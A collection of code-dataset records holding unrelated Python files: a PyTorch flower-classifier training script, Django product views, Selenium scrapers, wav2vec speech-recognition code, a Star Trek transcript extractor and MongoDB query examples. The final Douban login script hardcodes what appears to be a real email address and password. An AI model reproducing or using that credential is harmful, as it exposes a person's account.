transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n\ntest_validate_transforms = transforms.Compose([transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n\n \ntrain_data=datasets.ImageFolder(data_dir +'/train',transform=train_transforms)\ntest_data=datasets.ImageFolder(data_dir + '/test', transform=test_validate_transforms)\nvalid_data = datasets.ImageFolder(data_dir + '/valid', transform=test_validate_transforms)\ntrainloader = torch.utils.data.DataLoader(train_data, batch_size=64, shuffle=True)\ntestloader = torch.utils.data.DataLoader(test_data, batch_size=64)\nvalidloader= torch.utils.data.DataLoader(valid_data, batch_size=64)\n\nif arch == 'densenet121':\n model = models.densenet121(pretrained=True)\n input = 1024\nelif arch == 'vgg16':\n model = models.vgg13(pretrained=True)\n input = 25088\n\nfor param in model.parameters():\n param.requires_grad = False\n \nif in_args.gpu:\n if torch.cuda.is_available():\n device = torch.device(\"cuda\")\n print(\"Training network will be using CUDA as specified\")\n else:\n device = torch.device(\"cpu\")\n print(\"Cuda device is not availabe. Training will continue using CPU\")\n\nimport json\nwith open('cat_to_name.json', 'r') as f:\n cat_to_name = json.load(f)\n\n\nclassifier = nn.Sequential(OrderedDict([\n ('fc1', nn.Linear(input,hidden_layers)),\n ('relu1', nn.ReLU()),\n ('drop1', nn.Dropout(0.0)),\n ('fc2', nn.Linear(hidden_layers,102)),\n ('logsoftmax', nn.LogSoftmax(dim=1))]))\n\nmodel.classifier = classifier\n\n\nprint(model)\n\noptimizer = optim.Adam(model.classifier.parameters(), learning_rate)\n\nmodel.to(device)\ncriterion = nn.NLLLoss()\n\n# Implement a function for the validation pass\ndef validation(model, testloader, criterion):\n test_loss = 0\n accuracy = 0\n \n for ii, (inputs, labels) in enumerate(testloader):\n \n inputs, labels = inputs.to(device), labels.to(device)\n \n output = model.forward(inputs)\n test_loss += criterion(output, labels).item()\n \n ps = torch.exp(output)\n equality = (labels.data == ps.max(dim=1)[1])\n accuracy += equality.type(torch.FloatTensor).mean()\n \n return test_loss, accuracy\n\nprint_every=32\nsteps =0\nprint(\"Initialize training .....\\n\")\n\nfor e in range(epochs):\n running_loss = 0\n model.train() \n \n for ii, (inputs, labels) in enumerate(trainloader):\n steps += 1\n \n inputs, labels = inputs.to(device), labels.to(device)\n \n optimizer.zero_grad()\n \n \n outputs = model.forward(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n \n running_loss += loss.item()\n \n if steps % print_every == 0:\n model.eval()\n\n with torch.no_grad():\n valid_loss, accuracy = validation(model, validloader, criterion)\n \n print(\"Epoch: {}/{} | \".format(e+1, epochs),\n \"Training Loss: {:.4f} | \".format(running_loss/print_every),\n \"Validation Loss: {:.4f} | \".format(valid_loss/len(testloader)),\n \"Validation Accuracy: {:.4f}\".format(accuracy/len(testloader)))\n \n running_loss = 0\n model.train()\n \n # TODO: Do validation on the test set\nmodel.eval()\n \nwith torch.no_grad():\n _, accuracy = validation(model, testloader, criterion)\n \nprint(\"Test Accuracy on the model: {:.2f}%\".format(accuracy*100/len(testloader)))\n\nmodel.class_to_idx = train_data.class_to_idx\n\ncheckpoint = {\n 'model': model,\n 'classifier': model.classifier,\n 'input_size': model.classifier[0].in_features,\n 'state_dict': model.state_dict(),\n 'class_to_idx': model.class_to_idx,\n 'learning_rate': learning_rate,\n 'optimizer': optimizer.state_dict(),\n 'epoch': epochs,\n }\n\ntorch.save(checkpoint, 'project_checkpoint.pth')\n", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 6568, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 69, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 69, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomRotation", "line_number": 69, "usage_type": "call"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 70, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 70, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 71, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 71, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 72, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 72, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 73, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 73, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 76, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 76, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 76, "usage_type": "call"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 77, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 77, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 78, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 78, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 79, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 79, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 83, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 83, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 84, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 84, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 85, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 85, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 86, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 87, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 88, "usage_type": "attribute"}, {"api_name": "torchvision.models.densenet121", "line_number": 91, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 91, "usage_type": "name"}, {"api_name": "torchvision.models.vgg13", "line_number": 94, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 94, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 101, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 105, "usage_type": "call"}, {"api_name": "json.load", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 113, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 114, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 114, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 116, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 117, "usage_type": "name"}, {"api_name": "torch.nn.LogSoftmax", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 125, "usage_type": "name"}, {"api_name": "torch.nn.NLLLoss", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 128, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 206, "usage_type": "call"}]} +{"seq_id": "127291019", "text": "\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect, HttpResponseNotFound\nfrom Product.models import Product\n\n\n\n\ndef Goods(request):\n Goods = Product.objects.all()\n return render(request, \"Product/index.html\", {\"Goods\": Goods})\n\n\ndef create(request):\n if request.method == \"POST\":\n Product1 = Product()\n Product1.name = request.POST.get(\"name\")\n Product1.price = request.POST.get(\"price\")\n Product1.Description = request.POST.get(\"Description\")\n Product1.save()\n return HttpResponseRedirect(\"/\")\n\n\ndef edit(request, id):\n try:\n Product1 = Product.objects.get(id=id)\n\n if request.method == \"POST\":\n Product1.name = request.POST.get(\"name\")\n Product1.price = request.POST.get(\"price\")\n Product1.Description = request.POST.get(\"Description\")\n Product1.save()\n return HttpResponseRedirect(\"/\")\n else:\n return render(request, \"Product/edit.html\", {\"Product1\": Product})\n except Product.DoesNotExist:\n return HttpResponseNotFound(\"

Товар не найден

\")\n\n\ndef delete(request, id):\n try:\n Product1 = Product.objects.get(id=id)\n Product1.delete()\n return HttpResponseRedirect(\"/\")\n except Product.DoesNotExist:\n return HttpResponseNotFound(\"

Товар не найден

\")\n", "sub_path": "Product/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1401, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "Product.models.Product.objects.all", "line_number": 10, "usage_type": "call"}, {"api_name": "Product.models.Product.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "Product.models.Product", "line_number": 10, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 11, "usage_type": "call"}, {"api_name": "Product.models.Product", "line_number": 16, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 21, "usage_type": "call"}, {"api_name": "Product.models.Product.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "Product.models.Product.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "Product.models.Product", "line_number": 26, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 33, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 35, "usage_type": "call"}, {"api_name": "Product.models.Product", "line_number": 35, "usage_type": "name"}, {"api_name": "Product.models.Product.DoesNotExist", "line_number": 36, "usage_type": "attribute"}, {"api_name": "Product.models.Product", "line_number": 36, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 37, "usage_type": "call"}, {"api_name": "Product.models.Product.objects.get", "line_number": 42, "usage_type": "call"}, {"api_name": "Product.models.Product.objects", "line_number": 42, "usage_type": "attribute"}, {"api_name": "Product.models.Product", "line_number": 42, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 44, "usage_type": "call"}, {"api_name": "Product.models.Product.DoesNotExist", "line_number": 45, "usage_type": "attribute"}, {"api_name": "Product.models.Product", "line_number": 45, "usage_type": "name"}, {"api_name": "django.http.HttpResponseNotFound", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "167479193", "text": "from selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\ndef print_coords_by_name(name):\n xpath = \"//tr[td[text() ='name']]/td[3]\".replace(\"name\",name)\n coords = driver.find_element(By.XPATH, xpath).text\n print(coords)\n\ndef coords_by_name(name):\n xpath = \"//tr[td[text() ='name']]/td[3]\".replace(\"name\", name)\n coords = driver.find_element(By.XPATH, xpath).text\n return coords\n\n\ndef name_by_azonosito(azonosito):\n xpath = \"//tr[td[text() ='azonosito']]/td[2]\".replace(\"azonosito\", azonosito)\n name = driver.find_element(By.XPATH, xpath).text\n return name\n\ndef coords_by_azonosito(azonosito):\n xpath = \"//tr[td[text() ='azonosito']]/td[3]\".replace(\"azonosito\", azonosito)\n name = driver.find_element(By.XPATH, xpath).text\n return name\n\ndef hely_felvetele(nev, koordinata):\n input_name = driver.find_element_by_id(\"nameInput\")\n input_coords = driver.find_element_by_id(\"coordsInput\")\n button = driver.find_element_by_xpath(\"//button[@class = 'btn btn-primary']\")\n print(button)\n input_name.send_keys(nev)\n input_coords.send_keys(koordinata)\n button.click()\n return\n\n\n\n\ndriver = webdriver.Chrome()\n\ndriver.get(\"http://www.learnwebservices.com/locations/server\")\nprint('Írj egy függvényt, ami paraméterül kap egy nevet, és kiírja a település koordinátáját!')\nprint_coords_by_name(\"Abádszalók\")\nprint_coords_by_name(\"Abasár\")\nprint_coords_by_name(\"Báta\")\nprint('Írj egy függvényt, ami paraméterül kap egy nevet, és visszaadja a település koordinátáját!')\nprint(coords_by_name(\"Abádszalók\"))\nprint('Írj egy függvényt, mely paraméterül kap egy azonosítót, és kikeresi a nevet!')\nprint(name_by_azonosito('9277'))\nprint('Írj egy függvényt, mely paraméterül kap egy azonosítót, és kikeresi a koordinátáját!')\nprint(coords_by_azonosito('8369'))\nprint('Írj egy függvényt, mely a paraméterül kapott értékekkel (név, koordináta kitölti az űrlapot, és felvesz egy kedvenc helyet!')\nhely_felvetele('SDKedvencHely','10,20')\n\n\n\ndriver.close()\n\n\n\n\n\n", "sub_path": "functions_locations.py", "file_name": "functions_locations.py", "file_ext": "py", "file_size_in_byte": 2070, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 6, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 6, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 11, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 11, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 17, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 17, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 22, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 38, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 38, "usage_type": "name"}]} +{"seq_id": "600198458", "text": "#! /usr/bin/env python\n\nfrom os import listdir\nfrom os.path import isfile, join\nfrom jsonschema import validate, exceptions \nimport json\n\njson_dump = {\n\t\"missing_description\": [],\n\t\"invalid_description\": []\n\t}\n\nschema = json.load(open(\"../../schemas/moduleDescription.json\",\"r\"))\n\nfor moduleFolder in listdir(\"../\"):\n\tif not isfile(moduleFolder):\n\t\tmoduleDescPath = join(\"..\",moduleFolder, \"module.json\")\n\t\tif isfile(moduleDescPath):\n\t\t\ttry:\n\t\t\t\tvalidate(json.load(open(moduleDescPath,\"r\")), schema)\n\t\t\texcept exceptions.ValidationError as error:\n\t\t\t\tjson_dump[\"invalid_description\"].append({\"name\":moduleFolder, \"error_message\": error.message})\n\t\telse:\n\t\t\tjson_dump[\"missing_description\"].append(moduleFolder)\n\ndump_file = open(\"../../../101web/data/dumps/validateModuleDescriptions.json\", \"w\")\ndump_file.write(json.dumps(json_dump, sort_keys=True, indent=4, separators=(',', ': ')))\ndump_file.close()", "sub_path": "101worker/modules/validateModuleDescriptions/validate.py", "file_name": "validate.py", "file_ext": "py", "file_size_in_byte": 902, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 18, "usage_type": "call"}, {"api_name": "jsonschema.validate", "line_number": 20, "usage_type": "call"}, {"api_name": "json.load", "line_number": 20, "usage_type": "call"}, {"api_name": "jsonschema.exceptions.ValidationError", "line_number": 21, "usage_type": "attribute"}, {"api_name": "jsonschema.exceptions", "line_number": 21, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "331455710", "text": "# Copyright (c) Facebook, Inc., its affiliates and Kakao Brain. All Rights Reserved\n\nimport contextlib\nimport itertools as it\n\nimport torch\nimport torch.nn as nn\nfrom fairseq.models import FairseqEncoder\nfrom fairseq.models.wav2vec.wav2vec2_asr import (\n Linear,\n Wav2VecCtc,\n base_architecture,\n)\nfrom fairseq.tasks.audio_pretraining import AudioPretrainingTask\nfrom wav2letter.criterion import CpuViterbiPath, get_data_ptr_as_bytes\nfrom wav2letter.decoder import CriterionType\n\n\nclass BrainWav2VecEncoder(FairseqEncoder): # build wav2vec model w/ pretrained args?\n \"\"\" Modified from https://github.com/pytorch/fairseq \"\"\"\n\n def __init__(self, args, tgt_dict=None, pretrain_args=None): # run when BrainWav2VecEncoder is initialized (as w2v_encoder when BrainWav2VecCtc is initialized in submodules.py: 126)\n self.apply_mask = args.apply_mask\n\n arg_overrides = {\n \"dropout\": args.dropout,\n \"activation_dropout\": args.activation_dropout,\n \"dropout_input\": args.dropout_input,\n \"attention_dropout\": args.attention_dropout,\n \"mask_length\": args.mask_length,\n \"mask_prob\": args.mask_prob,\n \"mask_selection\": args.mask_selection,\n \"mask_other\": args.mask_other,\n \"no_mask_overlap\": args.no_mask_overlap,\n \"mask_channel_length\": args.mask_channel_length,\n \"mask_channel_prob\": args.mask_channel_prob,\n \"mask_channel_selection\": args.mask_channel_selection,\n \"mask_channel_other\": args.mask_channel_other,\n \"no_mask_channel_overlap\": args.no_mask_channel_overlap,\n \"encoder_layerdrop\": args.layerdrop,\n \"feature_grad_mult\": args.feature_grad_mult,\n }\n\n w2v_args = pretrain_args # w2v_args = pretrain_args\n assert (args.normalize == w2v_args.normalize\n ), \"Fine-tuning works best when data normalization is the same\"\n\n for arg_name, arg_val in arg_overrides.items():\n setattr(args, arg_name, arg_val)\n\n w2v_args.data = args.data\n task = AudioPretrainingTask.setup_task(w2v_args) # set up AudioPretrainingTask; # w2v_args.arch='wav2vec2'\n model = task.build_model(w2v_args) # Build the :class:`~fairseq.models.BaseFairseqModel` instance for task 'AudioPretrainingTask' # build model (AudioPretrainingTask.build_model) by using info: w2v_args.arch='wav2vec2'\n # model (checked structure and type via log) = Wav2Vec2Model\n model.remove_pretraining_modules()\n super().__init__(task.source_dictionary) # task.source_dictionary: None\n\n d = w2v_args.encoder_embed_dim # d = 1024\n\n self.w2v_model = model # w2v_model = Wav2Vec2Model (l53)\n\n self.final_dropout = nn.Dropout(args.final_dropout) # set up dropout (to prevent overfitting)\n self.freeze_finetune_updates = args.freeze_finetune_updates\n self.num_updates = 0\n\n if tgt_dict is not None:\n self.proj = Linear(d, len(tgt_dict)) # changes this to vocab size so that we can run argmax (create learnable variables (out_features, in_features) to fit length of tgt_dict)\n elif getattr(args, \"decoder_embed_dim\", d) != d: # self.proj.weight.shape: torch.Size([108, 1024])\n self.proj = Linear(d, args.decoder_embed_dim)\n else:\n self.proj = None\n\n def set_num_updates(self, num_updates):\n \"\"\"Set the number of parameters updates.\"\"\"\n super().set_num_updates(num_updates)\n self.num_updates = num_updates\n\n def forward(self, source, padding_mask, tbc=True, **kwargs): # Gets run automatically when BrainWav2VecEncoder class called, b/c nn.Module works like that\n w2v_args = {\n \"source\": source, # 'source' = signal tensor; 'padding_mask' = same-sized tensor as 'source' but filled w/ False; 'mask' = bool\n \"padding_mask\": padding_mask,\n \"mask\": self.apply_mask and self.training,\n }\n\n ft = self.freeze_finetune_updates <= self.num_updates # ft: False, self.freeze_finetune_updates: 10000, self.num_updates: 0\n\n with torch.no_grad() if not ft else contextlib.ExitStack(): # disables gradient calculations (since inferring, no need for backtracking)\n x, padding_mask = self.w2v_model.extract_features(**w2v_args) # w2v_model (Wav2Vec2Model (fairseq.models.wav2vec.wav2vec2) -> extract_features\n\n if tbc: # default: True\n # B x T x C -> T x B x C # TODO: check if B = Batch size, T = length of output representation from encoder (timesteps?), C = input size (num of tokens)\n x = x.transpose(0, 1) # x before: torch.Size([1, 95, 1024]), after: [95, 1, 1024], padding_mask.shape: torch.Size([1, 95])\n\n x = self.final_dropout(x) # x.shape: [95, 1, 1024]\n\n if self.proj: # if applicable, change size to vocab size (len(tgt_dict)) so that we can run argmax\n x = self.proj(x) # after projection, x.shape: [95, 1, 108], padding_mask.shape: [1, 95]\n\n return {\n \"encoder_out\": x, # T x B x C # [95, 1, 108]\n \"encoder_padding_mask\": padding_mask, # B x 2T # B x 2T # ?\n \"padding_mask\": padding_mask, # 'padding_mask' = same-sized tensor as 'source' but filled w/ False\n }\n\n def reorder_encoder_out(self, encoder_out, new_order):\n if encoder_out[\"encoder_out\"] is not None:\n encoder_out[\"encoder_out\"] = encoder_out[\n \"encoder_out\"].index_select(1, new_order)\n if encoder_out[\"encoder_padding_mask\"] is not None:\n encoder_out[\"encoder_padding_mask\"] = encoder_out[\n \"encoder_padding_mask\"].index_select(0, new_order)\n return encoder_out\n\n def max_positions(self):\n \"\"\"Maximum input length supported by the encoder.\"\"\"\n return None\n\n def upgrade_state_dict_named(self, state_dict, name):\n return state_dict\n\n\nclass BrainWav2VecCtc(Wav2VecCtc): # BrainWav2VecCtc.forward -> uses the instance 'forward' from superclass Wav2VecCtc, which returns result of running through w2v_encoder!\n \"\"\" Modified from https://github.com/pytorch/fairseq \"\"\"\n\n @classmethod\n def build_model(cls, args, target_dict, pretrain_args): # returns new instance of class # args: w2v[\"args\"], target_dict: target_dict, pretrain_args: w2v[\"pretrain_args\"]\n \"\"\"Build a new model instance.\"\"\"\n base_architecture(args)\n w2v_encoder = BrainWav2VecEncoder(args, target_dict, pretrain_args) # w2v_encoder = BrainWav2VecEncoder(args, target_dict, pretrain_args)\n return cls(w2v_encoder, args) # constructs + returns a BrainWav2VecCtc model\n\n\nclass W2lDecoder(object):\n\n def __init__(self, tgt_dict):\n self.tgt_dict = tgt_dict\n self.vocab_size = len(tgt_dict)\n self.nbest = 1\n\n self.criterion_type = CriterionType.CTC\n self.blank = (tgt_dict.index(\"\")\n if \"\" in tgt_dict.indices else tgt_dict.bos())\n self.asg_transitions = None\n\n def generate(self, models, sample, **unused): # == self.model of recognizer.py 170)\n \"\"\"Generate a batch of inferences.\"\"\"\n # model.forward normally channels prev_output_tokens into the decoder\n # separately, but SequenceGenerator directly calls model.encoder\n encoder_input = { # if multiple sections: encoder_input: dict {'padding_mask': tensor([[False, False, False, ..., False, False, False]], device='cuda:0'), 'source': tensor([[ 6.4412e-05, -1.0509e-04, 6.4412e-05, ..., -1.2988e-02, -1.2818e-02, -1.3835e-02]], device='cuda:0')}, source.shape: torch.Size([1, 30720]), padding_mask.shape: torch.Size([1, 30720]) # if in one piece: encoder_input: dict {'source': tensor([[ 0.0001, -0.0002, 0.0001, ..., -0.0038, -0.0035, -0.0045]], device='cuda:0') of shape [1, 211883] (signal), 'padding_mask': tensor([[False, False, False, ..., False, False, False]], device='cuda:0') of shape [1, 211883]}\n k: v\n for k, v in sample[\"net_input\"].items()\n if k != \"prev_output_tokens\"\n }\n emissions = self.get_emissions(models, encoder_input) # 'emissions': normalized output produced by encoder; pass tensors through encoder # emissions (encoder output): tensor; shape: [1, 95, 108]\n return self.decode(emissions) # now send to decoder 'W2lViterbiDecoder'.decode -> return [[{\"tokens\": tensor([ 8, 11, 14, 11, 10, 5, 8, 48, 10, 32, 6, 37, 7, 11, 10, 5, 32, 12, 26, 22, 6, 18, 27, 8, 13, 5]), \"score\": 0}]]\n\n def get_emissions(self, models, encoder_input): # models: a list just containing BrainWav2VecCtc model; encoder_input: dict {'padding_mask': tensor, 'source': tensor (both sized same (e.g. [1, 30720]))\n \"\"\"Run encoder and normalize emissions\"\"\" # models[0]: BrainWav2VecCtc; when calling on model, forward fn automatically gets run\n encoder_out = models[0](**encoder_input) # BrainWav2VecCtc(**encoder_input) # **encoder_input: unpacks and passes in 'source' and 'padding_mask' tensors into dict 'encoder_input' # 'encoder_out': result of running BrainWav2VecCtc on {'source': tensor([[ 0.0001, -0.0002, 0.0001, ..., -0.0038, -0.0035, -0.0045]], device='cuda:0'), 'padding_mask': tensor([[False, False, False, ..., False, False, False]], device='cuda:0')}\n # encoder_out = dict {'encoder_out': tensor [95, 1, 108], 'padding_mask'/'encoder_padding_mask': BoolTensor filled w/ False [1, 95]}\n\n if self.criterion_type == CriterionType.CTC: # if True: (set to True earlier in file) -->\n emissions = models[0].get_normalized_probs( # emissions: normalized version of encoder output encoder_out['encoder_output'] (done by log softmax layer)\n encoder_out, # emissions: torch.cuda.FloatTensor; shape: [95, 1, 108] (same as BrainWav2VecEncoder.forward 'x')\n log_probs=True,\n )\n # emissions (normalized (0 1:\n airdate_end = splitted_airdate[1].split(\"Captain's log\")[0].split(\"\\n\\n\\n\")\n airdate = airdate_end[0]\n bef, now, pure_text = episode_element.partition(\"\\n\\n\\n\\n\\n\\n\")\n episode_obj[\"text\"] = json.dumps({\"text\": pure_text})\n episode_obj[\"serie_name\"] = serie[\"name\"]\n episode_obj[\"number\"] = episode_number\n if airdate:\n episode_obj[\"airdate\"] = airdate\n episode_obj[\"stardate\"] = stardate\n episodes.append(episode_obj)\n episode_obj = None\n\nfile_path = os.path.join(\"resources\", \"jsonModels\", \"episodes_test.json\")\n\nwith open(file_path, \"w\") as episodes_file:\n json.dump(episodes, episodes_file)\n", "sub_path": "resources/extractors/transcript_extractor.py", "file_name": "transcript_extractor.py", "file_ext": "py", "file_size_in_byte": 2491, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 5, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "641745686", "text": "from pymongo import MongoClient\r\ndef displayCursor(cursor):\r\n words = ''\r\n for doc in cursor:\r\n words += doc[\"word\"] + \",\"\r\n if len(words) > 65:\r\n words = words[:65] + \"...\"\r\n print (words)\r\ndef over12(collection):\r\n print (\"\\n\\nWords with more than 12 characters:\")\r\n query = {'size': {'$gt': 12}}\r\n cursor = collection.find(query)\r\n displayCursor(cursor)\r\ndef startingABC(collection):\r\n print (\"\\nWords starting with A, B or C:\")\r\n query = {'first': {'$in': [\"a\",\"b\",\"c\"]}}\r\n cursor = collection.find(query)\r\n displayCursor(cursor)\r\ndef startEndVowels(collection):\r\n print (\"\\nWords starting and ending with a vowel:\")\r\n query = {'$and': [\r\n {'first': {'$in': [\"a\",\"e\",\"i\",\"o\",\"u\"]}},\r\n {'last': {'$in': [\"a\",\"e\",\"i\",\"o\",\"u\"]}}]}\r\n cursor = collection.find(query)\r\n displayCursor(cursor)\r\ndef over6Vowels(collection):\r\n print (\"\\nWords with more than 5 vowels:\")\r\n query = {'stats.vowels': {'$gt': 5}}\r\n cursor = collection.find(query)\r\n displayCursor(cursor)\r\ndef nonAlphaCharacters(collection):\r\n print (\"\\nWords with 1 non-alphabet characters:\")\r\n query = {'charsets': \r\n {'$elemMatch': \r\n {'$and': [\r\n {'type': 'other'},\r\n {'chars': {'$size': 1}}]}}}\r\n cursor = collection.find(query)\r\n displayCursor(cursor)\r\nif __name__==\"__main__\":\r\n mongo = MongoClient('mongodb://localhost:27017/')\r\n db = mongo['words']\r\n collection = db['word_stats']\r\n over12(collection)\r\n startEndVowels(collection)\r\n over6Vowels(collection)\r\n nonAlphaCharacters(collection)", "sub_path": "hour16/PythonFindSpecific.py", "file_name": "PythonFindSpecific.py", "file_ext": "py", "file_size_in_byte": 1558, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pymongo.MongoClient", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "360966554", "text": "from selenium import webdriver\nimport time\n\ntry:\n browser = webdriver.Chrome() #将会拉起我们的chrome浏览器\n\n browser.get('https://www.douban.com') #接入我们的网址\n time.sleep(1)\n\n browser.switch_to.frame(browser.find_elements_by_tag_name('iframe')[0])\n btm1 = browser.find_element_by_xpath('/html/body/div[1]/div[1]/ul[1]/li[2]')\n btm1.click()\n time.sleep(1)\n\n browser.find_element_by_xpath('//*[@id=\"username\"]').send_keys('1249200310@qq.com')\n browser.find_element_by_id('password').send_keys('hkjlkjnkljn')\n time.sleep(1)\n browser.find_element_by_xpath('/html/body/div[1]/div[2]/div[1]/div[5]/a').click()\n\n cookies = browser.get_cookies()\n print(cookies)\n time.sleep(3)\n\nexcept Exception as e:\n print(e)\nfinally:\n browser.close()", "sub_path": "week02/cookie_webdriver.py", "file_name": 